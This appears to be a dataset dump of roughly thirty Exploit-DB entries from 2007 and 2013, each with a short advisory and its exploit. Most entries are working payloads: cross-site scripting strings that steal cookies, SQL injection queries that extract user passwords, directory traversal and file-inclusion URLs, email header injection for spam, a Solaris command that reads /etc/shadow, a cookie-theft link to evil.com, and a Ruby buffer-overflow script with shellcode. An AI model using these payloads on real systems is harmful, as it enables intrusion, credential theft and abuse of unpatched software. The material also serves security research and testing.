QLWD/code_shield huggingface dataset:
标题: Apache Tomcat 6.0.10 - Documentation Sample Application Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30052 CVE: 2007-1355 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/24058/info

Apache Tomcat's documentation web application includes a sample application that is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The following Tomcat versions are affected:

4.0.0 to 4.0.6
4.1.0 to 4.1.36
5.0.0 to 5.0.30
5.5.0 to 5.5.23
6.0.0 to 6.0.10

http://www.example.com/tomcat-docs/appdev/sample/web/hello.jsp?test=<script>alert(document.domain)</script> URL: https://www.exploit-db.com/exploits/30052
标题: ClientExec 3.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30053 CVE: 2007-2805 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/24061/info

ClientExec is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ClientExec 3.0.0 beta2 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/index.php?ticketID=[xss]
http://www.example.com/[path]/index.php?view=[xss]
http://www.example.com/[path]/index.php?fuse=[xss] URL: https://www.exploit-db.com/exploits/30053
标题: PsychoStats 2.3 - 'Server.php' Full Path Disclosure EDB-ID: 30051 CVE: 2007-2780 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/24039/info

PsychoStats is prone to a path-disclosure issue when invalid data is submitted.

Exploiting this issue can allow an attacker to access sensitive data that may be used to launch further attacks against a vulnerable computer.

PsychoStats 3.0.6b and prior versions are vulnerable to this issue. 

http://www.example.com/[path]/server.php?newcss=styles.css&newtheme=%00 URL: https://www.exploit-db.com/exploits/30051
标题: Sun Java JDK 1.x - Multiple Vulnerabilities EDB-ID: 30043 CVE: 2007-2788 类型: REMOTE 平台: LINUX 发布日期: 2007-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/24004/info

Sun JDK is prone to a multiple vulnerabilities.

An attacker can exploit these issues to crash the affected application, effectively denying service. The attacker may also be able to execute arbitrary code, which may facilitate a compromise of the underlying system.

Sun JDK 1.5.0_07-b03 is vulnerable to these issues; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30043.zip

CVE: 2007-2788 & 2007-2789
OSVDB-ID: 36199 & 36200 URL: https://www.exploit-db.com/exploits/30043
标题: Jetbox CMS 2.1 Email - 'FormMail.php' Input Validation EDB-ID: 30040 CVE: 2007-1898 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/23989/info

Jetbox CMS is prone to an input-validation vulnerabilitiy because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to send spam email in the context of the application.

Jetbox 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[JETBOX-DIRECTORY formmail.php?recipient=spam1@somedomain.com&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some Spam Subject%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A-- Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide URL: https://www.exploit-db.com/exploits/30040
标题: WordPress Theme Redoable 1.2 - 'header.php?s' Cross-Site Scripting EDB-ID: 30050 CVE: 2007-2757 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/24037/info

Redoable is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Redoable 1.2 is vulnerable; other versions may also be affected. 

<!-- Redoable 1.2 - Cross-Site Scripting Vulnerability --------------- Vulnerable Code --------------- header.php (line 6): ... elseif (is_search()) { ?> Search for <?php echo $s } ... searchloop.php (line 24): elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'), $s); } ------------ Patched Code ------------ header.php (line 6 FIXED): ... elseif (is_search()) { ?> Search for <?php echo strip_tags($s); } ... searchloop.php (line 24 FIXED): elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'), strip_tags($s)); } Vulnerable Variable: s Vulnerable File: wp-content/themes/redoable/searchloop.php and header.php Vulnerable: Redoable 1.2 (other versions should also be vulnerable) Google d0rk: "and Redoable 1.2" John Martinelli john@martinelli.com RedLevel Security http://www.RedLevel.org May 17th, 2007 !--> <html> <head><title>Redoable 1.2 - Cross-Site Scripting Vulnerability</title><body> <center><br><br> <font size=4>Redoable 1.2 - Cross-Site Scripting Vulnerability</font><br> <font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel Security</a><br><br> Google d0rk: <a href="http://www.google.com/search?q=%22and+Redoable+1.2%22">"and Redoable 1.2"</a> </font><br><br><br> <center>file <b>index.php</b> - variable <b>s</b> - method <b>get</b></center><br> <form action="http://www.example.com/index.php" method="get"> <input size=75 name="s" value="</title><script>alert(1)</script>"> <input type=submit value="Execute XSS Attack" class="button"> </form> <br><br><br> </form> </body></html> URL: https://www.exploit-db.com/exploits/30050
标题: vBulletin 3.6.6 - 'calendar.php' HTML Injection EDB-ID: 30047 CVE: 2007-2908 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/24020/info

vBulletin is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

Note that the attacker must have authenticated access to the affected application.

This issue is reported to affect vBulletin 3.6.6 and prior versions. 


http://www.example.com/vbulletin/calendar.php?do=add&type=single&c=1
--> fill up the title field with :
</title><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/30047
标题: Jetbox CMS 2.1 - view/supplynews Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30042 CVE: 2007-2732 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/23999/info
 
Jetbox CMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Jetbox CMS 2.1 is vulnerable. 

http://www.example.com/jetbox/index.php/view/supplynews/?companyname=[xss] 
http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=[xss] 
http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=[xss] http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=[xss] http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=[xss] 
http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=1&recipient=jetbox@www.example2.com&require[xss] 
http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=&recipient=jetbox@www.example2.com&required=firstname,surname,email,companyname,country,workphone,title,topic,website,text&signupsubmit=true&subject=News&submit=Send&surname=[xss] 
http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=1&recipient=jetbox@www.example2.com&required=firstname,surname,email,companyname,country,workphone,title,topic,website,text&signupsubmit=true&subject=News&submit=Send&surname=1&text=1&title=[xss] URL: https://www.exploit-db.com/exploits/30042
标题: Jetbox CMS 2.1 - '/view/search/?path' Cross-Site Scripting EDB-ID: 30041 CVE: 2007-2732 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/23999/info

Jetbox CMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Jetbox CMS 2.1 is vulnerable. 

http://www.example.com/jetbox/index.php/view/search/?path=[xss] URL: https://www.exploit-db.com/exploits/30041
标题: Caucho Resin 3.1 - Encoded Space Request Full Path Disclosure EDB-ID: 30037 CVE: 2007-2441 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/23985/info

Caucho Resin is prone to multiple information-disclosure vulnerabilities because it fails to adequately sanitize user-supplied data.

Attackers can exploit these issues to access potentially sensitive data that may aid in further attacks.

Resin 3.1.0 is vulnerable; other versions may also be affected.

NOTE: According to the application's 3.1.1 change log, these issues affect the server only when installed on Microsoft Windows. 

http://www.example.com:8080/%20 URL: https://www.exploit-db.com/exploits/30037
标题: SonicBB 1.0 - Multiple SQL Injections EDB-ID: 30035 CVE: 2007-1902 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/23964/info

SonicBB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SonicBB 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/path/search.php?query=1&part=post`<> '' UNIoN SELECT `id`,`password`,1,1,1,1,`username` FROM `users` WHERE id=1/*&by=*/

http://www.example.com/path/viewforum.php?id=1' UNION SELECT `id`,`password`,1,1,1,1,1 FROM `users` WHERE id=1%23 URL: https://www.exploit-db.com/exploits/30035
标题: CommuniGate Pro 5.1.8 - Web Mail HTML Injection EDB-ID: 30027 CVE: 2007-2718 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/23950/info

CommuniGate Pro is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

CommuniGate Pro 5.1.8 and earlier versions are vulnerable to this issue.

Note that this issue is present only when using Microsoft Internet Explorer. 

<STYLE>@im\port'\ja\vasc\ript:alert("XSS in message body (style using import)")';</STYLE> URL: https://www.exploit-db.com/exploits/30027
标题: Caucho Resin 3.1 - '/web-inf' Traversal Arbitrary File Access EDB-ID: 30038 CVE: 2007-2440 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/23985/info
 
Caucho Resin is prone to multiple information-disclosure vulnerabilities because it fails to adequately sanitize user-supplied data.
 
Attackers can exploit these issues to access potentially sensitive data that may aid in further attacks.
 
Resin 3.1.0 is vulnerable; other versions may also be affected.
 
NOTE: According to the application's 3.1.1 change log, these issues affect the server only when installed on Microsoft Windows. 

http://www.example.com:8080/%20..\web-inf URL: https://www.exploit-db.com/exploits/30038
标题: TFTP Server TFTPDWin 0.4.2 - Directory Traversal EDB-ID: 30026 CVE: 2007-2639 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/23937/info

TFTP Server TFTPDWIN is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue allows an attacker to gain read/write access to privileged directories and files.

TFTP Server TFTPDWIN 0.4.2 is vulnerable; other versions may also be affected. 

../../../boot.ini
../../boot.ini
../../../boot.ini
../../../../boot.ini
../../../../../boot.ini
../../../../../../boot.ini
../../../../../../../boot.ini
../../../../../../../../boot.ini URL: https://www.exploit-db.com/exploits/30026
标题: PHP Multi User Randomizer 2006.09.13 - 'Configure_Plugin.TPL.php' Cross-Site Scripting EDB-ID: 30022 CVE: 2007-2632 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/23917/info

PHP Multi User Randomizer is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/web/configure_plugin.tpl.php?edit_plugin==[xss] URL: https://www.exploit-db.com/exploits/30022
标题: WordPress Plugin Akismet 2.1.3 - Cross-Site Scripting EDB-ID: 30036 CVE: 2007-2714 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-14 漏洞利用脚本: <!--source: https://www.securityfocus.com/bid/23965/info

The WordPress Akismet plugin is prone to an unspecified vulnerability.
-->

<html> <body> <form action="http://www.example.com/wp-admin/plugins.php?page=akismet-key-config" method="post" id="akismet-conf"> <input name="_wpnonce" value="'" type="text"> <input name="_wp_http_referer" value="'%2522><script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105 ,101,41))</script>" type="text"> <input id="key" name="key" size="15" maxlength="12" value="1337"> <input name="submit" value="Update options »" type="submit"> </form> </body> </html> URL: https://www.exploit-db.com/exploits/30036
标题: Sun Microsystems Solaris SRSEXEC 3.2.x - Arbitrary File Read Local Information Disclosure EDB-ID: 30021 CVE: 2007-2617 类型: LOCAL 平台: SOLARIS 发布日期: 2007-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/23915/info

Sun Microsystems Solaris is prone to a local information-disclosure vulnerability due to a design error.

A local attacker may exploit this issue to access sensitive information, including superuser password information, that may lead to further attacks. A complete compromise is possible. 

The following exploit example is available:
$ /opt/SUNWsrspx/bin/srsexec -dvb /etc/shadow OWNED URL: https://www.exploit-db.com/exploits/30021
标题: SonicBB 1.0 - 'search.php' Cross-Site Scripting EDB-ID: 30029 CVE: 2007-1903 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/23963/info

SonicBB is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects SonicBB 1.0; other versions may also be affected. 

http://www.example.com/search.php?query=1&part=[xss] URL: https://www.exploit-db.com/exploits/30029
标题: Steinberg MyMp3PRO 5.0 - Local Buffer Overflow (SEH) (DEP Bypass + ROP) EDB-ID: 30032 CVE: 2013-7186 类型: LOCAL 平台: WINDOWS 发布日期: 2013-12-04 漏洞利用脚本: #!/usr/bin/ruby
print '''
         
        Steinberg MyMp3PRO v5.0 Buffer Overflow
        Version: 5.0 Build 5.1.0.21
        Date found: 04.12.2013
        Exploit Author: metacom
        Tested on:XP-Sp3-EN
'''
sleep(3)
junk="\x41" * 1044
eip=[0x7C86467B].pack('V')#7C86467B  FFE4 JMP ESP kernel32.dll
nops="\x90" * 100 # landing zone
shellcode=("\xba\x50\x3e\xf5\xa5\xda\xd7\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"+
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x03\x30\x17\x50\x5f\xa4\x5e"+
"\x9b\x9f\x35\x01\x15\x7a\x04\x13\x41\x0f\x35\xa3\x01\x5d\xb6"+
"\x48\x47\x75\x4d\x3c\x40\x7a\xe6\x8b\xb6\xb5\xf7\x3d\x77\x19"+
"\x3b\x5f\x0b\x63\x68\xbf\x32\xac\x7d\xbe\x73\xd0\x8e\x92\x2c"+
"\x9f\x3d\x03\x58\xdd\xfd\x22\x8e\x6a\xbd\x5c\xab\xac\x4a\xd7"+ # Calc
"\xb2\xfc\xe3\x6c\xfc\xe4\x88\x2b\xdd\x15\x5c\x28\x21\x5c\xe9"+ # \x00\x0a\x0d
"\x9b\xd1\x5f\x3b\xd2\x1a\x6e\x03\xb9\x24\x5f\x8e\xc3\x61\x67"+
"\x71\xb6\x99\x94\x0c\xc1\x59\xe7\xca\x44\x7c\x4f\x98\xff\xa4"+
"\x6e\x4d\x99\x2f\x7c\x3a\xed\x68\x60\xbd\x22\x03\x9c\x36\xc5"+
"\xc4\x15\x0c\xe2\xc0\x7e\xd6\x8b\x51\xda\xb9\xb4\x82\x82\x66"+
"\x11\xc8\x20\x72\x23\x93\x2e\x85\xa1\xa9\x17\x85\xb9\xb1\x37"+
"\xee\x88\x3a\xd8\x69\x15\xe9\x9d\x86\x5f\xb0\xb7\x0e\x06\x20"+
"\x8a\x52\xb9\x9e\xc8\x6a\x3a\x2b\xb0\x88\x22\x5e\xb5\xd5\xe4"+
"\xb2\xc7\x46\x81\xb4\x74\x66\x80\xd6\x1b\xf4\x48\x37\xbe\x7c"+
"\xea\x47")
buffer=junk + eip + nops + shellcode
File.open('BOF_Steinberg_MyMp3PRO_v5.m3u', 'w') do |bug|  
bug.puts (buffer)
bug.close()
end URL: https://www.exploit-db.com/exploits/30032
标题: LibEXIF 0.6.x - Exif_Data_Load_Data_Entry Remote Integer Overflow EDB-ID: 30024 CVE: 2007-2645 类型: DOS 平台: LINUX 发布日期: 2007-05-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/23927/info

The libexif library is prone to an integer-overflow vulnerability because the software fails to properly ensure that integer math operations do not result in overflows.

Successful exploits of this vulnerability allow remote attackers to execute arbitrary machine code in the context of an application using the vulnerable library. Failed attempts will likely result in denial-of-service conditions.

Versions of libexif prior to 0.6.14 are vulnerable to this issue. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30024.jpg URL: https://www.exploit-db.com/exploits/30024
标题: EQdkp 1.3.1 - Cross-Site Scripting EDB-ID: 30028 CVE: 2007-2716 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/23951/info

EQDKP is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

EQDKP 1.3.2c and prior versions are affected. 

http://www.example.com/path-to-eqdkp/listmembers.php?show=%22%3E%3Cplaintext%3E URL: https://www.exploit-db.com/exploits/30028
标题: MySQL 5.0.x - IF Query Handling Remote Denial of Service EDB-ID: 30020 CVE: 2007-2583 类型: DOS 平台: LINUX 发布日期: 2013-12-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/23911/info

MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain specially crafted queries.

An attacker can exploit this issue to crash the application, denying access to legitimate users.

NOTE: An attacker must be able to execute arbitrary SELECT statements against the database to exploit this issue. This may be through legitimate means or by exploiting other latent SQL-injection vulnerabilities.

Versions prior to MySQL 5.0.40 are vulnerable. 

SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0))); URL: https://www.exploit-db.com/exploits/30020
标题: Python 2.5 - 'PyLocale_strxfrm' Remote Information Leak EDB-ID: 30018 CVE: 2007-2052 类型: REMOTE 平台: LINUX 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23887/info

Python applications that use the 'PyLocale_strxfrm' function are prone to an information leak.

Exploiting this issue allows remote attackers to read portions of memory.

Python 2.4.4-2 and 2.5 are confirmed vulnerable. 

#!/usr/bin/python

import locale

print locale.setlocale(locale.LC_COLLATE, 'pl_PL.UTF8')
print repr(locale.strxfrm('a')) URL: https://www.exploit-db.com/exploits/30018
标题: Advanced Guestbook 2.4.2 - 'Lang' Cookie Local File Inclusion EDB-ID: 30015 CVE: 2007-0609 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23876/info

Advanced Guestbook is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Advanced Guestbook 2.4.2 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/../../../hack_www/htdocs/hack URL: https://www.exploit-db.com/exploits/30015
标题: Adobe RoboHelp - Frameset-7.HTML Cross-Site Scripting EDB-ID: 30016 CVE: 2007-1280 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23878/info

RoboHelp is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/project_name/en/frameset-7.html#http://evil.com/cookiethief URL: https://www.exploit-db.com/exploits/30016
标题: Campsite 2.6.1 - 'LocalizerLanguage.php?g_documentRoot' Remote File Inclusion EDB-ID: 30006 CVE: 2006-5911 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/23874/info
                                     
Campsite is prone to multiple remote file-include vulnerabilities.
                                     
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
                                     
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/priv/localizer/LocalizerLanguage.php?g_DocumentRoot=shell.txt? URL: https://www.exploit-db.com/exploits/30006